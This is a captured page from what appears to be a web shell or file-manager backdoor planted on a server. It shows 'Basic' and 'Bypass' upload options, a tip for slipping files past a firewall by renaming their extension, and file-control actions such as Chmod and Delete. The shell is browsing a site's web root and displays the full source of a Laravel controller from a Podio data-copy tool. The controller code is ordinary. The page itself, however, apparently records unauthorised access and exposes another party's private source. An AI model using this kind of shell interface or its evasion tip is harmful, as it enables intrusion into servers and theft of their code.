Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
podiocopy.bitkit.dk
httpdocs
app
Http
Controllers
Transfer
File Content:
PodioController.php
<?php namespace App\Http\Controllers\Transfer; /** * Created by PhpStorm. * User: jis * Date: 18/5/15 * Time: 1:27 PM */ use App\Http\Controllers\Controller; use App\Modules\Application\AppToAppModel; use App\Modules\Auth\AuthRepository; use App\Modules\CheckRights\CheckRightsRepo; use App\Modules\GenModels\Estimate; use Exception; use Illuminate\Support\Facades\Auth; use Input; use Log; use MongoDB\BSON\ObjectId; use Podio; use PodioApp; use PodioAppField; use PodioFlow; use PodioOrganization; use PodioSpace; use PodioView; use Response; class PodioController extends Controller { public function __construct() { $this->middleware('auth'); $this->middleware('podioAuth'); try { ini_set('memory_limit', '512M'); ini_set('max_execution_time', 3600); // seconds } catch (Exception $e) { Log::error($e); } } public function getOrganizations() { $organizations = PodioOrganization::get_all(); list($organizations, $appLinks) = $this->processResult($organizations, 'name', 'id', 'org'); return Response::json( array( 'status' => 'success', 'data' => $organizations ), 200 ); } public function getSpaces() { $spaces = PodioSpace::get_for_org(Input::get('sourceOrg')); list($spaces, $appLinks) = $this->processResult($spaces, 'name', 'id', 'space'); return Response::json( array( 'status' => 'success', 'data' => $spaces ), 200 ); } public function getApps() { $apps = PodioApp::get_for_space(Input::get('sourceSpace')); list($apps, $appLinks) = $this->processResult($apps, 'name', 'id', 'app'); return Response::json( array( 'status' => 'success', 'data' => $apps, 'appLinks' => $appLinks ), 200 ); } public function getAppToApps() { $apps = PodioApp::get_for_space(Input::get('sourceSpace')); list($apps, $appLinks) = $this->processResult($apps, 'name', 'id', 'apps'); return Response::json( array( 'status' => 'success', 'data' => $apps, 'appLinks' => $appLinks ), 200 ); } public function getFields() { $fields = array(); $i = 0; $appId = Input::get('appID'); $destappId = Input::get('destappID'); $attributes = []; $attributes['type'] = 'micro'; $app = PodioApp::get($appId, $attributes); foreach ($app->fields as $appField) if ($appField->status == "active") { $fields[$i]['name'] = $appField->config['label']; $fields[$i]['id'] = $appField->field_id; $fields[$i]['type'] = $appField->type; $fields[$i]['config'] = $appField->config; //added by Yasar^ $i++; } $destapp = PodioApp::get($destappId, $attributes); return Response::json(array('status' => 'success', 'mapFields' => $fields, 'appType' => $destapp->config['type'] ?? NULL ), 200 ); } public function getViews() { $appViews = array(); $appId = Input::get('appID'); $views = PodioView::get_for_app($appId); foreach ($views as $view) { $appViews[$view->view_id] = $view->name; } return Response::json(array('status' => 'success', 'data' => $appViews ), 200 ); } private function processResult($array, $name, $id, $type) { $result = array(); $appLinks = array(); foreach ($array as $data) { $avoidApp = false; if ($type == 'app') { $appId = $data->app_id; $getApp = Podio::get("/app/$appId")->json_body(); foreach ($getApp['fields'] as $field) { if (!$avoidApp) if ($field['status'] == 'active') { if ($field['type'] == 'contact') { if ($field['config']['settings']['type'] == 'space_contacts') { $avoidApp = true; } } } } } if ($type == 'app' || $type == 'apps') { if (!$avoidApp) $result[$data->$id] = $data->config['name']; } else { $result[$data->$id] = $data->$name; } if (!$avoidApp) { $appLinks[$data->$id] = $data->link; } } return array($result, $appLinks); } public function getNewField() { $sourceAppId = Input::get('sourceAppId'); $fieldId = Input::get('fieldId'); try { $field = PodioAppField::get($sourceAppId, $fieldId); if ($field) { return $field->config; } } catch (Exception $e) { return 'false'; } } public function getValues() { $values = array(); $i = 0; $appId = Input::get('appID'); $fieldId = Input::get('fieldID'); $fieldValues = PodioAppField::get($appId, $fieldId); foreach ($fieldValues->config['settings']['options'] as $value) if ($value['status'] == "active") { $values[$i]['text'] = $value['text']; $values[$i]['id'] = $value['id']; $i++; } return Response::json(array('status' => 'success', 'fieldValues' => $values ), 200 ); } public function getSourceOrganizationRights() { $orgId = Input::get('orgId'); $checkRightsRepo = new CheckRightsRepo(); $resp = $checkRightsRepo->checkSourceOrganizationRights($orgId); if (!$resp) { return array("status" => "success", "message" => "All apps in the organization can be moved."); } else { $message = "Your Podio user doesn’t have the right access privilege to copy app(s) from the workspace(s) listed below." . "<br/>You need to be either an Admin user or a Regular user in the selected workspace(s) to continue."; $message2 = "You are a Light user in the Red marked workspaces of selected organization." . "<br/>You need to be an Admin or Regular access for the data copy to work properly."; return array("status" => "failure", "data" => $resp, "message" => $message, "message2" => $message2); } } public function getDestinationOrganizationRights() { $orgId = Input::get('orgId'); $checkRightsRepo = new CheckRightsRepo(); $resp = $checkRightsRepo->checkDestinationOrganizationRights($orgId); if ($resp == 'free') { return array("status" => "prevent", "message" => "You are a Light user in the destination organization." . "<br/>You need to be an Admin or Regular access for the data copy to work properly."); } else { // if (isset($resp['userLimit'])) { // $message = "The user limit of the selected organization is " . $resp['userLimit'] . "." . // "<br/>If the total number of users from source and the destination organization exceeds this limit, the copy will still happen, but it will not include all the users and the copied tasks will be assigned to yourself."; // return array("status" => "warning", "data" => $resp, "message" => $message); // } else { // $message = null; // return array("status" => "no_message", "data" => $resp, "message" => $message); // } $message = "Important notice!". "<br/> Due to the recent Podio licensing update, some users have encountered some issues with the Podio Data Copy Tool.". "<br/>Please ensure that you have an adequate number of licenses available in the destination organization to ensure a seamless copying experience. If there are insufficient licenses, the process may not transfer all users, resulting in user-related data in items being added as null, and in tasks, the user will be added as copying user.". "<br/>We have also updated our FAQ page to address this issue"; return array("status" => "warning", "data" => $resp, "message" => $message); } } public function getSourceAppsRights() { $spaceId = Input::get('spaceId'); $checkRightsRepo = new CheckRightsRepo(); $resp = $checkRightsRepo->checkSourceAppRights($spaceId); if ($resp == "false") { return array("status" => "success", "message" => "All apps in the organization can be moved."); } elseif ($resp) { $message = "You are a Light User in the Red marked apps of the selected workspace." . "<br/>You need to be an Admin User or a Regular User for the data copy to work properly."; return array("status" => "failure", "data" => $resp, "message" => $message); } } public function getDestinationSpaceRights() { $spaceId = Input::get('spaceId'); $checkRightsRepo = new CheckRightsRepo(); $resp = $checkRightsRepo->checkDestSpaceRights($spaceId); // if ($resp == "true") { // return array("status" => "success", "message" => "All apps in the organization can be moved."); // } elseif ($resp == "light") { // return array("status" => "failure", // "message" => "You are a light user in the selected workspace.<br/> You need Admin or Regular access for the data copy to work properly."); // // } $message = "Important notice!". "<br/> Due to the recent Podio licensing update, some users have encountered some issues with the Podio Data Copy Tool.". "<br/>Please ensure that you have an adequate number of licenses available in the destination organization to ensure a seamless copying experience. If there are insufficient licenses, the process may not transfer all users, resulting in user-related data in items being added as null, and in tasks, the user will be added as copying user.". "<br/>We have also updated our FAQ page to address this issue"; return array("status" => "warning", "data" => $resp, "message" => $message); } public function postSaveEstimate() { $input = Input::all(); $mapArray = array( 'user' => Auth::user()->id, 'type' => 'app_to_app_move', 'customMapping' => $input['customMapping'], 'status' => 'added_to_queue' ); $appToAppModel = new Estimate(); return array("queueID" => $appToAppModel->create($mapArray), "userId" => Auth::user()->id); } public function getStartAppToAppMove() { $dbQueueID = Input::get("customID"); $appToAppModel = new Estimate(); $appToAppModel->findOne(array('_id' => new ObjectId($dbQueueID))); if ($appToAppModel) { } } public function getComments() { echo "getComments"; echo "<pre>"; $userId = "56a06ba985810dad5bd5553f"; $authRepo = new AuthRepository(); $attributes = ["type" => 'text']; if ($authRepo->authenticateUser($userId)) { $flow = PodioFlow::get_effect_attributes("comment.create", 1019233); echo "<pre>"; print_r($flow); } } }
Edit
Download
Unzip
Chmod
Delete